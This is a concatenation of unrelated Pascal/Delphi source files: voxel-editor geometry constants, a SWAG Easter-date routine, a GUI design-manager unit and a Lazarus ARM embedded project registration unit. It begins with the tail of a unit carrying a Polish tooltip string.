InfoTip := 'Wyklucz lokalizację "'; InfoTip := InfoTip + Item.SubItems[0] + '"'; end; end.
unit BasicConstants; interface const // Voxel Section Editor Basic constants (originally at Voxel_Engine.pas) DefaultZoom = 7; VIEWBGCOLOR = -1; VXLTool_Brush = 0; VXLTool_Line = 1; VXLTool_Erase = 2; VXLTool_FloodFill = 3; VXLTool_Dropper = 4; VXLTool_Rectangle = 5; VXLTool_FilledRectangle = 6; VXLTool_Darken = 7; VXLTool_Lighten = 8; VXLTool_SmoothNormal = 9; VXLTool_FloodFillErase = 10; VXLTool_Measure = 11; VXLTool_FrameEllipse = 12; VXLTool_FillEllipse = 13; ViewName: array[0..5] of string = ( ' Left', ' Right', ' Bottom', ' Top', ' Back', ' Front'); // From Voxel.pas VTRANSPARENT = 256; MAXNORM_TIBERIAN_SUN = 36; MAXNORM_RED_ALERT2 = 244; // Voxel Map Fill Mode C_MODE_NONE = 0; C_MODE_ALL = 1; C_MODE_USED = 2; C_MODE_COLOUR = 3; C_MODE_NORMAL = 4; // Pixel position in the volume. C_OUTSIDE_VOLUME = 0; C_ONE_AXIS_INFLUENCE = 1; C_TWO_AXIS_INFLUENCE = 2; C_THREE_AXIS_INFLUENCE = 3; C_SEMI_SURFACE = 3; C_SURFACE = 4; C_INSIDE_VOLUME = 5; // Semi-surfaces configuration C_SF_BOTTOM_FRONT_LEFT_POINT = 1; C_SF_BOTTOM_FRONT_RIGHT_POINT = 2; C_SF_BOTTOM_BACK_LEFT_POINT = 4; C_SF_BOTTOM_BACK_RIGHT_POINT = 8; C_SF_TOP_FRONT_LEFT_POINT = $10; C_SF_TOP_FRONT_RIGHT_POINT = $20; C_SF_TOP_BACK_LEFT_POINT = $40; C_SF_TOP_BACK_RIGHT_POINT = $80; C_SF_BOTTOM_FRONT_LINE = $103; C_SF_BOTTOM_BACK_LINE = $20C; C_SF_BOTTOM_LEFT_LINE = $405; C_SF_BOTTOM_RIGHT_LINE = $80A; C_SF_TOP_FRONT_LINE = $1030; C_SF_TOP_BACK_LINE = $20C0; C_SF_TOP_LEFT_LINE = $4050; C_SF_TOP_RIGHT_LINE = $80A0; C_SF_LEFT_FRONT_LINE = $10011; C_SF_LEFT_BACK_LINE = $20044; C_SF_RIGHT_FRONT_LINE = $40022; C_SF_RIGHT_BACK_LINE = $80088; // From VoxelMeshGenerator C_VMG_NO_VERTEX = -1;//2147483647; //------------------------------------------------------------------ // From VoxelModelizerItem.pas //------------------------------------------------------------------ // Vertices C_VERT_TOP_LEFT_BACK = 0; C_VERT_TOP_RIGHT_BACK = 1; C_VERT_TOP_LEFT_FRONT = 2; C_VERT_TOP_RIGHT_FRONT = 3; C_VERT_BOTTOM_LEFT_BACK = 4; C_VERT_BOTTOM_RIGHT_BACK = 5; C_VERT_BOTTOM_LEFT_FRONT = 6; C_VERT_BOTTOM_RIGHT_FRONT = 7; // Edges C_EDGE_TOP_LEFT = 0; C_EDGE_TOP_RIGHT = 1; C_EDGE_TOP_BACK = 2; C_EDGE_TOP_FRONT = 3; C_EDGE_BOTTOM_LEFT = 4; C_EDGE_BOTTOM_RIGHT = 5; C_EDGE_BOTTOM_BACK = 6; C_EDGE_BOTTOM_FRONT = 7; C_EDGE_FRONT_LEFT = 8; C_EDGE_FRONT_RIGHT = 9; C_EDGE_BACK_LEFT = 10; C_EDGE_BACK_RIGHT = 11; // Faces C_FACE_LEFT = 0; C_FACE_RIGHT = 1; C_FACE_BACK = 2; C_FACE_FRONT = 3; C_FACE_BOTTOM = 4; C_FACE_TOP = 5; // Face Settings C_FACE_SET_VERT = 0; C_FACE_SET_EDGE = 1; C_FACE_SET_FACE = 2; // Vertex Positions C_VP_HIGH = 8; C_VP_MID = C_VP_HIGH div 2; // 4 VertexRequirements: array[0..7] of integer = (C_SF_TOP_BACK_LEFT_POINT, C_SF_TOP_BACK_RIGHT_POINT, C_SF_TOP_FRONT_LEFT_POINT, C_SF_TOP_FRONT_RIGHT_POINT, C_SF_BOTTOM_BACK_LEFT_POINT, C_SF_BOTTOM_BACK_RIGHT_POINT, C_SF_BOTTOM_FRONT_LEFT_POINT, C_SF_BOTTOM_FRONT_RIGHT_POINT); VertexCheck: array[0..55] of byte = (0, 1, 4, 8, 9, 10, 11, 17, 18, 21, 25, 9, 10, 11, 0, 1, 3, 6, 13, 12, 11, 17, 18, 20, 23, 13, 12, 11, 0, 2, 4, 7, 9, 16, 15, 17, 19, 21, 24, 9, 16, 15, 0, 2, 3, 5, 13, 14, 15, 17, 19, 20, 22, 13, 14, 15); SSVertexesCheck: array[0..55] of byte = (C_SF_TOP_BACK_RIGHT_POINT, C_SF_BOTTOM_BACK_RIGHT_POINT, C_SF_TOP_FRONT_RIGHT_POINT, C_SF_BOTTOM_FRONT_RIGHT_POINT, C_SF_TOP_FRONT_LEFT_POINT, C_SF_BOTTOM_FRONT_LEFT_POINT, C_SF_BOTTOM_BACK_LEFT_POINT, C_SF_TOP_BACK_LEFT_POINT, C_SF_BOTTOM_BACK_LEFT_POINT, C_SF_TOP_FRONT_LEFT_POINT, C_SF_BOTTOM_FRONT_LEFT_POINT, C_SF_TOP_FRONT_RIGHT_POINT, C_SF_BOTTOM_FRONT_RIGHT_POINT, C_SF_BOTTOM_BACK_RIGHT_POINT, C_SF_TOP_FRONT_RIGHT_POINT, C_SF_BOTTOM_FRONT_RIGHT_POINT, C_SF_TOP_BACK_RIGHT_POINT, C_SF_BOTTOM_BACK_RIGHT_POINT, C_SF_TOP_BACK_LEFT_POINT, C_SF_BOTTOM_BACK_LEFT_POINT, C_SF_BOTTOM_FRONT_LEFT_POINT, C_SF_TOP_FRONT_LEFT_POINT, C_SF_BOTTOM_FRONT_LEFT_POINT, C_SF_TOP_BACK_LEFT_POINT, C_SF_BOTTOM_BACK_LEFT_POINT, C_SF_TOP_BACK_RIGHT_POINT, C_SF_BOTTOM_BACK_RIGHT_POINT, C_SF_BOTTOM_FRONT_RIGHT_POINT, C_SF_BOTTOM_BACK_RIGHT_POINT, C_SF_TOP_BACK_RIGHT_POINT, C_SF_BOTTOM_FRONT_RIGHT_POINT, C_SF_TOP_FRONT_RIGHT_POINT, C_SF_BOTTOM_FRONT_LEFT_POINT, C_SF_TOP_FRONT_LEFT_POINT, C_SF_TOP_BACK_LEFT_POINT, C_SF_BOTTOM_BACK_LEFT_POINT, C_SF_TOP_BACK_LEFT_POINT, C_SF_BOTTOM_FRONT_LEFT_POINT, C_SF_TOP_FRONT_LEFT_POINT, C_SF_BOTTOM_FRONT_RIGHT_POINT, C_SF_TOP_FRONT_RIGHT_POINT, C_SF_TOP_BACK_RIGHT_POINT, C_SF_BOTTOM_FRONT_RIGHT_POINT, C_SF_TOP_FRONT_RIGHT_POINT, C_SF_BOTTOM_BACK_RIGHT_POINT, C_SF_TOP_BACK_RIGHT_POINT, C_SF_BOTTOM_BACK_LEFT_POINT, C_SF_TOP_BACK_LEFT_POINT, C_SF_TOP_FRONT_LEFT_POINT, C_SF_BOTTOM_FRONT_LEFT_POINT, C_SF_TOP_FRONT_LEFT_POINT, C_SF_BOTTOM_BACK_LEFT_POINT, C_SF_TOP_BACK_LEFT_POINT, C_SF_BOTTOM_BACK_RIGHT_POINT, C_SF_TOP_BACK_RIGHT_POINT, C_SF_TOP_FRONT_RIGHT_POINT); EdgeRequirements: array[0..11] of integer = (C_SF_TOP_LEFT_LINE, C_SF_TOP_RIGHT_LINE, C_SF_TOP_BACK_LINE, C_SF_TOP_FRONT_LINE, C_SF_BOTTOM_LEFT_LINE, C_SF_BOTTOM_RIGHT_LINE, C_SF_BOTTOM_BACK_LINE, C_SF_BOTTOM_FRONT_LINE, C_SF_LEFT_FRONT_LINE, C_SF_RIGHT_FRONT_LINE, C_SF_LEFT_BACK_LINE, C_SF_RIGHT_BACK_LINE); EdgeCheck: array[0..35] of byte = (0, 1, 11, 17, 18, 11, 9, 10, 11, 13, 12, 11, 0, 2, 15, 17, 19, 15, 9, 16, 15, 13, 14, 15, 0, 3, 13, 17, 20, 13, 0, 4, 9, 17, 21, 9); SSEdgesCheck: array[0..35] of integer = (C_SF_TOP_RIGHT_LINE, C_SF_BOTTOM_RIGHT_LINE, C_SF_BOTTOM_LEFT_LINE, C_SF_TOP_LEFT_LINE, C_SF_BOTTOM_LEFT_LINE, C_SF_BOTTOM_RIGHT_LINE, C_SF_TOP_FRONT_LINE, C_SF_BOTTOM_FRONT_LINE, C_SF_BOTTOM_BACK_LINE, C_SF_TOP_BACK_LINE, C_SF_BOTTOM_BACK_LINE, C_SF_BOTTOM_FRONT_LINE, C_SF_BOTTOM_RIGHT_LINE, C_SF_TOP_RIGHT_LINE, C_SF_TOP_LEFT_LINE, C_SF_BOTTOM_LEFT_LINE, C_SF_TOP_LEFT_LINE, C_SF_TOP_RIGHT_LINE, C_SF_BOTTOM_FRONT_LINE, C_SF_TOP_FRONT_LINE, C_SF_TOP_BACK_LINE, C_SF_BOTTOM_BACK_LINE, C_SF_TOP_BACK_LINE, C_SF_TOP_FRONT_LINE, C_SF_RIGHT_FRONT_LINE, C_SF_RIGHT_BACK_LINE, C_SF_LEFT_BACK_LINE, C_SF_LEFT_FRONT_LINE, C_SF_LEFT_BACK_LINE, C_SF_RIGHT_BACK_LINE, C_SF_RIGHT_BACK_LINE, C_SF_RIGHT_FRONT_LINE, C_SF_LEFT_FRONT_LINE, C_SF_LEFT_BACK_LINE, C_SF_LEFT_FRONT_LINE, C_SF_RIGHT_FRONT_LINE); FaceCheck: array[0..5] of byte = (0, 17, 9, 13, 15, 11); VertexPoints: array[0..19,0..2] of byte = ((0,0,C_VP_HIGH),(C_VP_HIGH,0,C_VP_HIGH), (0,C_VP_HIGH,C_VP_HIGH), (C_VP_HIGH,C_VP_HIGH,C_VP_HIGH), (0,0,0), (C_VP_HIGH,0,0), (0,C_VP_HIGH,0), (C_VP_HIGH,C_VP_HIGH,0), (0,C_VP_MID,C_VP_HIGH), (C_VP_HIGH,C_VP_MID,C_VP_HIGH), (C_VP_MID,0,C_VP_HIGH), (C_VP_MID,C_VP_HIGH,C_VP_HIGH), (0,C_VP_MID,0), (C_VP_HIGH,C_VP_MID,0), (C_VP_MID,0,0), (C_VP_MID,C_VP_HIGH,0), (0,C_VP_HIGH,C_VP_MID), (C_VP_HIGH,C_VP_HIGH,C_VP_MID), (0,0,C_VP_MID), (C_VP_HIGH,0,C_VP_MID)); VertexNeighbors: array [0..23] of byte = (8,10,18,10,19,9,8,11,16,9,11,17,12, 18,14,14,13,19,16,15,12,15,17,13); VertexNeighborEdges: array [0..23] of byte = (0,2,10,2,11,1,0,3,8,1,3,9,4, 10,6,6,5,11,8,7,4,7,9,5); EdgeVertexesList: array [0..71] of byte = (0,2,10,18,11,16,3,1,10,19,11,17,0,1, 8,18,9,19,2,3,8,16,17,9,4,6,18,14,16,15,5,7,14,19,17,15,4,5,18,12,19,13,6,7,16, 12,17,13,2,6,8,11,15,12,3,7,11,9,13,15,0,4,8,10,12,14,1,5,10,9,14,13); FaceVertexesList: array [0..47] of byte = (0,2,4,6,14,10,11,15,1,5,7,3,10,14, 11,15,0,1,4,5,8,9,12,13,2,3,6,7,8,9,12,13,4,5,6,7,16,17,18,19,0,1,2,3,16,17, 18,19); EdgeVertexes: array[0..23] of byte = (0,2,1,3,0,1,2,3,4,6,5,7,4,5,6,7,2,6,3, 7,0,4,1,5); { ForbiddenEdgesPerEdges: array[0..143,0..1] of byte = ((0,11),(0,3),(0,9),(2,10), (2,1),(2,9),(0,16),(0,6),(0,12),(2,18),(2,4),(2,12),(1,11),(1,2),(1,8),(3,10), (3,0),(3,8),(1,17),(1,7),(1,13),(3,19),(3,5),(3,13),(0,11),(0,3),(0,9),(1,8), (1,2),(1,11),(0,19),(0,5),(0,14),(1,18),(1,4),(1,14),(2,9),(2,1),(2,10),(3,10), (3,0),(3,8),(2,17),(2,7),(2,15),(3,16),(3,6),(3,15),(4,16),(4,2),(4,8),(6,18), (6,0),(6,8),(4,15),(4,7),(4,13),(6,14),(6,5),(6,13),(5,17),(5,3),(5,9),(7,19), (7,1),(7,9),(5,15),(5,6),(5,12),(7,14),(7,4),(7,12),(4,19),(4,1),(4,10),(5,18), (5,0),(5,10),(4,13),(4,7),(4,15),(5,12),(5,6),(5,15),(6,17),(6,3),(6,11),(7,16), (7,2),(7,11),(6,13),(6,5),(6,14),(7,12),(7,4),(7,14),(2,12),(2,4),(2,18),(6,8), (6,0),(6,18),(2,17),(2,7),(2,15),(6,11),(6,3),(6,17),(3,13),(3,5),(3,19),(7,9), (7,1),(7,19),(3,15),(3,6),(3,16),(7,11),(7,2),(7,16),(0,12),(0,6),(0,16),(4,8), (4,2),(4,16),(0,14),(0,5),(0,19),(4,10),(4,1),(4,19),(1,13),(1,7),(1,17),(5,9), (5,3),(5,17),(1,14),(1,4),(1,18),(5,10),(5,0),(5,18)); } ForbiddenEdgesPerEdges: array[0..59,0..1] of byte = ((0,11),(0,16),(2,10),(2,18), (0,2),(1,11),(1,14),(3,10),(3,19),(1,3),(0,19),(0,9),(1,8),(1,18),(0,1),(2,9), (3,8),(2,17),(3,16),(2,3),(4,16),(6,18),(4,15),(6,14),(4,6),(5,17),(7,19),(5,15), (7,14),(5,7),(4,19),(5,18),(4,13),(5,12),(4,5),(6,17),(7,16),(6,13),(7,12),(6,7), (2,12),(6,8),(2,15),(6,11),(2,6),(3,13),(7,9),(3,15),(7,11),(3,7),(0,12),(4,8), (0,14),(4,10),(0,4),(1,13),(5,9),(1,14),(5,10),(1,5)); ForbiddenEdgesPerFace: array[0..95,0..1] of byte = ((0,16),(0,6),(0,12),(8,16), (8,6),(8,12),(8,4),(8,18),(2,12),(2,4),(2,18),(16,12),(16,4),(16,18),(6,18), (12,18),(1,17),(1,7),(1,13),(9,17),(9,7),(9,13),(9,5),(9,19),(3,13),(3,5),(3,19), (17,13),(17,5),(17,19),(7,19),(13,19),(0,19),(0,5),(0,14),(10,19),(10,5),(10,14), (10,4),(10,18),(1,14),(1,4),(1,18),(19,14),(19,4),(19,18),(5,18),(14,18),(2,17), (2,7),(2,15),(11,17),(11,7),(11,15),(11,6),(11,16),(3,15),(3,6),(3,16),(17,15), (17,6),(17,16),(7,16),(15,16),(4,13),(4,7),(4,15),(14,13),(14,7),(14,15),(14,6), (14,12),(5,15),(5,6),(5,12),(13,15),(13,6),(13,12),(7,12),(15,12),(0,9),(0,3), (0,11),(10,9),(10,3),(10,11),(10,2),(10,8),(1,11),(1,2),(1,8),(9,11),(9,2),(9,8), (3,8),(11,8)); ForbiddenFaces: array[0..11,0..2] of byte = ((0,8,2),(0,18,4),(4,12,6),(2,16,6), (2,11,3),(3,17,7),(6,15,7),(3,9,1),(1,19,5),(7,13,5),(0,10,1),(4,14,5)); ForbiddenFacesPerFaces: array[0..317,0..2] of byte = ((0,8,18),(0,2,18),(0,16,18), (0,6,18),(0,12,18),(0,4,18),(0,4,12),(0,4,6),(0,4,16),(0,4,2),(0,4,8),(0,12,6), (0,12,16),(0,2,12),(0,8,12),(0,6,16),(0,6,2),(0,6,8),(0,16,2),(0,8,16),(18,4,12), (18,4,6),(18,4,16),(18,4,2),(18,4,8),(18,12,6),(18,12,16),(18,12,2),(18,12,8), (18,6,16),(18,6,2),(18,6,8),(18,16,2),(18,16,8),(18,2,8),(4,12,16),(4,12,2), (4,12,8),(4,6,16),(4,6,2),(4,6,8),(4,16,2),(4,16,8),(4,2,8),(12,6,16),(12,6,2), (12,6,8),(12,16,2),(12,16,8),(12,2,8),(6,16,8),(6,2,8),(16,2,8),(3,9,17),(3,1,17), (3,19,17),(3,5,17),(3,13,17),(3,7,17),(3,7,13),(3,7,5),(3,7,19),(3,7,1),(3,7,9), (3,13,5),(3,13,19),(3,1,13),(3,9,13),(3,5,19),(3,5,1),(3,5,9),(3,19,1),(3,9,19), (17,7,13),(17,7,5),(17,7,19),(17,7,1),(17,7,9),(17,13,5),(17,13,19),(17,13,1), (17,13,9),(17,5,19),(17,5,1),(17,5,9),(17,19,1),(17,19,9),(17,1,9),(7,13,19), (7,13,1),(7,13,9),(7,5,19),(7,5,1),(7,5,9),(7,19,1),(7,19,9),(7,1,9),(13,5,19), (13,5,1),(13,5,9),(13,19,1),(13,19,9),(13,1,9),(5,19,9),(5,1,9),(19,1,9),(1,10,19), (1,0,19),(1,18,19),(1,4,19),(1,14,19),(1,5,19),(1,5,14),(1,5,4),(1,5,18),(1,5,0), (1,5,10),(1,14,4),(1,14,18),(1,0,14),(1,10,14),(1,4,18),(1,4,0),(1,4,10),(1,18,0), (1,10,18),(19,5,14),(19,5,4),(19,5,18),(19,5,0),(19,5,10),(19,14,4),(19,14,18), (19,14,0),(19,14,10),(19,4,18),(19,4,0),(19,4,10),(19,18,0),(19,18,10),(19,0,10), (5,14,18),(5,14,0),(5,14,10),(5,4,18),(5,4,0),(5,4,10),(5,18,0),(5,18,10),(5,0,10), (14,4,18),(14,4,0),(14,4,10),(14,18,0),(14,18,10),(14,0,10),(4,18,10),(4,0,10), (18,0,10),(3,11,17),(3,2,17),(3,16,17),(3,6,17),(3,15,17),(3,7,17),(3,7,15), (3,7,6),(3,7,16),(3,7,2),(3,7,11),(3,15,6),(3,15,16),(3,2,15),(3,11,15),(3,6,16), (3,6,2),(3,6,11),(3,16,2),(3,11,16),(17,7,12),(17,7,6),(17,7,16),(17,7,2), (17,7,11),(17,15,6),(17,15,16),(17,15,2),(17,15,11),(17,6,16),(17,6,2),(17,6,11), (17,16,2),(17,16,11),(17,2,11),(7,15,16),(7,15,2),(7,15,11),(7,6,16),(7,6,2), (7,6,11),(7,16,2),(7,16,11),(7,2,11),(15,6,16),(15,6,2),(15,6,11),(15,16,2), (15,16,11),(15,2,11),(6,16,11),(6,2,11),(16,2,11),(5,14,13),(5,4,13),(5,12,13), (5,6,13),(5,15,13),(5,7,13),(5,7,15),(5,7,6),(5,7,12),(5,7,4),(5,7,14),(5,15,6), (5,15,12),(5,4,15),(5,14,15),(5,6,12),(5,6,4),(5,6,14),(5,12,4),(5,14,12), (13,7,15),(13,7,6),(13,7,12),(13,7,4),(13,7,14),(13,15,6),(13,15,12),(13,15,4), (13,15,14),(13,6,12),(13,6,4),(13,6,14),(13,12,4),(13,12,14),(13,4,14),(7,15,12), (7,15,4),(7,15,14),(7,6,12),(7,6,4),(7,6,14),(7,12,4),(7,12,14),(7,4,14), (15,6,12),(15,6,4),(15,6,14),(15,12,4),(15,12,14),(15,4,14),(6,12,14),(6,4,14), (12,4,14),(1,10,9),(1,0,9),(1,8,9),(1,2,9),(1,11,9),(1,3,9),(1,3,11),(1,3,2), (1,3,8),(1,3,0),(1,3,10),(1,11,2),(1,11,8),(1,0,11),(1,10,11),(1,2,8),(1,2,0), (1,2,10),(1,8,0),(1,10,8),(9,3,11),(9,3,2),(9,3,8),(9,3,0),(9,3,10),(9,11,2), (9,11,8),(9,11,0),(9,11,10),(9,2,8),(9,2,0),(9,2,10),(9,8,0),(9,8,10),(9,0,10), (3,11,8),(3,11,0),(3,11,10),(3,2,8),(3,2,0),(3,2,10),(3,8,0),(3,8,10),(3,0,10), (11,2,8),(11,2,0),(11,2,10),(11,8,0),(11,8,10),(11,0,10),(2,8,10),(2,0,10), (8,0,10)); implementation end.
(* Category: SWAG Title: DATE & TIME ROUTINES Original name: 0012.PAS Description: EASTER.PAS Author: JEAN MEEUS Date: 05-28-93 13:37 *) { =============================================================== From chapter 4 of "Astronomical Formulae for Calculators" 2nd edition; by Jean Meeus; publisher: Willmann-Bell Inc., ISBN 0-943396-01-8 ... Date of Easter. The method used below has been given by Spencer Jones in his book "General Astronomy" (pages 73-74 of the edition of 1922). It has been published again in the "Journal of the British Astronomical Association", Vol.88, page 91 (December 1977) where it is said that it was devised in 1876 and appeared in the Butcher's "Ecclesiastical Calendar." Unlike the formula given by Guass, this method has no exception and is valid for all years in the Gregorian calendar, that is from the year 1583 on. [...text omitted...] The extreme dates of Easter are March 22 (as in 1818 and 2285) and April 25 (as in 1886, 1943, 2038). =============================================================== The following Modula-2 code by Greg Vigneault, April 1993. Converted To Pascal by Kerry Sokalsky } Procedure FindEaster(Year : Integer); { Year MUST be greater than 1583 } VAR a, b, c, d, e, f, g, h, i, k, l, m, n, p : INTEGER; Month : String[5]; BEGIN If Year < 1583 then begin Writeln('Year must be 1583 or later.'); Exit; end; a := Year MOD 19; b := Year DIV 100; c := Year MOD 100; d := b DIV 4; e := b MOD 4; f := (b + 8) DIV 25; g := (b - f + 1) DIV 3; h := (19 * a + b - d - g + 15) MOD 30; i := c DIV 4; k := c MOD 4; l := (32 + 2 * e + 2 * i - h - k) MOD 7; m := (a + 11 * h + 22 * l) DIV 451; p := (h + l - 7 * m + 114); n := p DIV 31; (* n = month number 3 or 4 *) p := (p MOD 31) + 1; (* p = day in month *) IF (n = 3) THEN Month := 'March' ELSE Month := 'April'; WriteLn('The date of Easter for ', Year : 4, ' is: ', Month, p : 3); END; begin FindEaster(2017); end.
unit DesignManager; interface uses Windows, Messages, Classes, Controls, Forms, LrObserverList, DesignSurface; const LRM_PROPCHANGE = WM_USER + $01; type TObjectArray = array of TObject; // TDesignFilterEvent = procedure(inSender: TObject; inObject: TObject; var inFilter: Boolean) of object; // TDesignManager = class(TComponent) private FDesigner: TDesignSurface; FDesignObjects: TObjectArray; FDesignObservers: TLrObserverList; FOnChange: TNotifyEvent; FOnFilter: TDesignFilterEvent; FOnGetAddClass: TDesignGetAddClassEvent; FPropertyObservers: TLrObserverList; FSelectedObjects: TObjectArray; FSelectionObservers: TLrObserverList; Handle: HWND; protected function GetContainer: TComponent; function GetDesignCount: Integer; function GetSelectedCount: Integer; function GetSelectedObject: TObject; procedure Change; procedure DesignSelectionChange(inSender: TObject); procedure GetAddClass(Sender: TObject; var ioClass: string); procedure HookDesigner; procedure LrmPropChange(var inMessage: TMessage); message LRM_PROPCHANGE; procedure SetDesigner(const Value: TDesignSurface); procedure UnhookDesigner; procedure UpdateDesignList; procedure WndProc(var inMsg: TMessage); public constructor Create(inOwner: TComponent); override; destructor Destroy; override; function Filter(inObject: TObject): Boolean; procedure DesignChange(inSender: TObject); procedure ObjectSelected(inSender, inObject: TObject); procedure ObjectsSelected(inSender: TObject; inSelected: array of TObject); procedure PropertyChange(inSender: TObject); property Container: TComponent read GetContainer; property Designer: TDesignSurface read FDesigner write SetDesigner; property DesignCount: Integer read GetDesignCount; property DesignObjects: TObjectArray read FDesignObjects; property DesignObservers: TLrObserverList read FDesignObservers; property OnFilter: TDesignFilterEvent read FOnFilter write FOnFilter; property OnGetAddClass: TDesignGetAddClassEvent read FOnGetAddClass write FOnGetAddClass; property OnChange: TNotifyEvent read FOnChange write FOnChange; property PropertyObservers: TLrObserverList read FPropertyObservers; property SelectionObservers: TLrObserverList read FSelectionObservers; property SelectedCount: Integer read GetSelectedCount; property SelectedObject: TObject read GetSelectedObject; property SelectedObjects: TObjectArray read FSelectedObjects; end; var DesignMgr: TDesignManager; implementation { TDesignManager } constructor TDesignManager.Create(inOwner: TComponent); begin inherited; Handle := Classes.AllocateHWnd(WndProc); FSelectionObservers := TLrObserverList.Create; FDesignObservers := TLrObserverList.Create; FPropertyObservers := TLrObserverList.Create; end; destructor TDesignManager.Destroy; begin FPropertyObservers.Free; FDesignObservers.Free; FSelectionObservers.Free; Classes.DeallocateHWnd(Handle); inherited; end; procedure TDesignManager.UnhookDesigner; begin with Designer do begin OnChange := nil; OnSelectionChange := nil; OnGetAddClass := nil; end; end; procedure TDesignManager.HookDesigner; begin Designer.OnChange := DesignChange; Designer.OnSelectionChange := DesignSelectionChange; Designer.OnGetAddClass := GetAddClass; end; procedure TDesignManager.SetDesigner(const Value: TDesignSurface); begin if Designer <> nil then UnhookDesigner; FDesigner := Value; if Designer <> nil then HookDesigner; DesignChange(Self); end; procedure TDesignManager.DesignChange(inSender: TObject); begin UpdateDesignList; DesignObservers.Notify(Self); end; procedure TDesignManager.DesignSelectionChange(inSender: TObject); begin ObjectsSelected(Self, Designer.Selected); end; procedure TDesignManager.GetAddClass(Sender: TObject; var ioClass: string); begin if Assigned(OnGetAddClass) then OnGetAddClass(Sender, ioClass) else ioClass := ''; end; function TDesignManager.GetContainer: TComponent; begin if Designer = nil then Result := nil else Result := Designer.Container; end; procedure TDesignManager.Change; begin if Assigned(OnChange) then OnChange(Self); end; function TDesignManager.GetDesignCount: Integer; begin Result := Length(DesignObjects); end; function TDesignManager.GetSelectedCount: Integer; begin Result := Length(SelectedObjects); end; function TDesignManager.GetSelectedObject: TObject; begin if SelectedCount > 0 then Result := SelectedObjects[0] else Result := nil; end; function TDesignManager.Filter(inObject: TObject): Boolean; begin Result := (inObject <> nil) and (inObject is TDesignSurface); if Assigned(OnFilter) then OnFilter(Self, inObject, Result); end; procedure TDesignManager.UpdateDesignList; var c, i: Integer; begin if Container = nil then FDesignObjects := nil else begin c := 0; SetLength(FDesignObjects, Container.ComponentCount); for i := 0 to Pred(Container.ComponentCount) do if not Filter(Container.Components[i]) then begin DesignObjects[c] := Container.Components[i]; Inc(c); end; SetLength(FDesignObjects, c); end; end; procedure TDesignManager.ObjectSelected(inSender: TObject; inObject: TObject); begin ObjectsSelected(inSender, [ inObject ]); // FSelectedObject := inObject; // SelectionObservers.NotifyExcept(Self, inSender); end; procedure TDesignManager.ObjectsSelected(inSender: TObject; inSelected: array of TObject); var i: Integer; begin SetLength(FSelectedObjects, Length(inSelected)); for i := 0 to Pred(SelectedCount) do SelectedObjects[i] := inSelected[i]; SelectionObservers.NotifyExcept(Self, inSender); end; procedure TDesignManager.PropertyChange(inSender: TObject); begin PostMessage(Handle, LRM_PROPCHANGE, Integer(inSender), 0); end; procedure TDesignManager.WndProc(var inMsg: TMessage); begin case inMsg.Msg of LRM_PROPCHANGE: LrmPropChange(inMsg); else inMsg.Result := DefWindowProc(Handle, inMsg.Msg, inMsg.wParam, inMsg.lParam); end; end; procedure TDesignManager.LrmPropChange(var inMessage: TMessage); begin Designer.UpdateDesigner; PropertyObservers.NotifyExcept(Self, TObject(inMessage.wParam)); end; initialization DesignMgr := TDesignManager.Create(Application); finalization //Designer.Free; end.
unit Embedded_GUI_ARM_Register; {$mode objfpc}{$H+} interface uses Classes, SysUtils, // LCL Forms, Controls, StdCtrls, Dialogs, ExtCtrls, // LazUtils LazLoggerBase, // IdeIntf ProjectIntf, CompOptsIntf, LazIDEIntf, IDEOptionsIntf, IDEOptEditorIntf, MenuIntf, // Embedded ( Eigene Units ) Embedded_GUI_IDE_Options_Frame, Embedded_GUI_Common, Embedded_GUI_ARM_Common, Embedded_GUI_ARM_Project_Options_Form; type { TProjectARMApp } TProjectARMApp = class(TProjectDescriptor) public constructor Create; override; function GetLocalizedName: string; override; function GetLocalizedDescription: string; override; function InitProject(AProject: TLazProject): TModalResult; override; function CreateStartFiles(AProject: TLazProject): TModalResult; override; function DoInitDescriptor: TModalResult; override; end; procedure ShowARMOptionsDialog(Sender: TObject); implementation procedure ShowARMOptionsDialog(Sender: TObject); var LazProject: TLazProject; begin LazProject := LazarusIDE.ActiveProject; if (LazProject.LazCompilerOptions.TargetCPU <> 'arm') or (LazProject.LazCompilerOptions.TargetOS <> 'embedded') then begin if MessageDlg('Warnung', 'Es handelt sich nicht um ein ARM Embedded Project.' + LineEnding + 'Diese Funktion kann aktuelles Projekt zerstören' + LineEnding + LineEnding + 'Trotzdem ausführen ?', mtWarning, [mbYes, mbNo], 0) = mrNo then begin ARM_Project_Options_Form.Free; Exit; end; end; ARM_Project_Options_Form.LazProjectToMask(LazProject); if ARM_Project_Options_Form.ShowModal = mrOk then begin ARM_Project_Options_Form.MaskToLazProject(LazProject); LazProject.LazCompilerOptions.GenerateDebugInfo := False; end; end; { TProjectARMApp } constructor TProjectARMApp.Create; begin inherited Create; Name := Title + 'ARM-Project (STM32 / Arduino DUE)'; Flags := DefaultProjectNoApplicationFlags - [pfRunnable]; end; function TProjectARMApp.GetLocalizedName: string; begin Result := Title + 'ARM-Project (STM32 / Arduino DUE)'; end; function TProjectARMApp.GetLocalizedDescription: string; begin Result := Title + 'Erstellt ein ARM-Project (STM32 / Arduino DUE)'; end; function TProjectARMApp.DoInitDescriptor: TModalResult; begin ARM_Project_Options_Form.DefaultMask; Result := ARM_Project_Options_Form.ShowModal; end; function TProjectARMApp.InitProject(AProject: TLazProject): TModalResult; const ProjectText = 'program Project1;' + LineEnding + LineEnding + '{$H-,J-,O-}' + LineEnding + LineEnding + 'uses' + LineEnding + ' cortexm3;' + LineEnding + LineEnding + 'begin' + LineEnding + ' // Setup' + LineEnding + ' repeat' + LineEnding + ' // Loop;' + LineEnding + ' until false;' + LineEnding + 'end.'; var MainFile: TLazProjectFile; begin inherited InitProject(AProject); MainFile := AProject.CreateProjectFile('Project1.pas'); MainFile.IsPartOfProject := True; AProject.AddFile(MainFile, False); AProject.MainFileID := 0; AProject.MainFile.SetSourceText(ProjectText, True); AProject.LazCompilerOptions.TargetFilename := 'Project1'; AProject.LazCompilerOptions.Win32GraphicApp := False; AProject.LazCompilerOptions.GenerateDebugInfo := False; AProject.LazCompilerOptions.UnitOutputDirectory := 'lib' + PathDelim + '$(TargetCPU)-$(TargetOS)'; AProject.Flags := AProject.Flags + [pfRunnable]; AProject.LazCompilerOptions.TargetCPU := 'arm'; AProject.LazCompilerOptions.TargetOS := 'embedded'; AProject.LazCompilerOptions.TargetProcessor := 'ARMV7M'; AProject.LazCompilerOptions.ExecuteAfter.CompileReasons := [crRun]; ARM_Project_Options_Form.MaskToLazProject(AProject); Result := mrOk; end; function TProjectARMApp.CreateStartFiles(AProject: TLazProject): TModalResult; begin Result := LazarusIDE.DoOpenEditorFile(AProject.MainFile.Filename, -1, -1, [ofProjectLoading, ofRegularFile]); end; end.
